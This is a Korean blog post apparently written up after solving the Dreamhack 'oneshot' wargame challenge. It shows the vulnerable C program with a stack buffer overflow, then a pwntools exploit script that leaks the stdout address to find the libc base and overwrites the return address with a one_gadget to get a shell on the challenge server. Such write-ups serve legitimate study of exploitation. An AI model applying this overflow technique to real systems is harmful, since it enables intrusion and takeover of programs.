[Dreamhack] oneshot

김성진·2022년 7월 17일
0

Dreamhack_System

목록 보기
13/44

📒 Description


📒 C code

// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if(check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

libc.so.6 파일도 같이 준 점으로 보아 libc_base를 구해서 풀 수 있겠다.
libc_base는 stdout 주소를 이용하여 구할 수 있겠다.


📒 Exploit

📖 exploit.py

from pwn import *

LOCAL = False

e = ELF('./oneshot')

if (LOCAL == True):
    p = process('./oneshot')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
else:
    p = remote('host3.dreamhack.games', 13098)
    libc = ELF('./libc.so.6')
    one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

stdout_offset = libc.symbols['_IO_2_1_stdout_']

#------------------------------------------------
p.recvuntil('stdout: ')
stdout_addr = int(p.recvline()[:-1], 16)
# print(stdout_addr)
libc_base = stdout_addr - stdout_offset

#-------------------------------------------------------
p.recvuntil('MSG: ')
og = libc_base + one_gadget[0]
payload = 'A' * 0X18 + p64(0) + 'A' * 0x8 + p64(og)
p.send(payload)
p.interactive()

원가젯은 특정 조건일 때만 풀리기에 안 풀릴까봐 걱정을 많이 하기는 했다. (사실 ROP하면 된다.)
stdout이나 stdin으로 libc_base를 구할 때는 꼭 _IO_2_1_로 시작하는 지를 확인하자.

profile
Today I Learned

0개의 댓글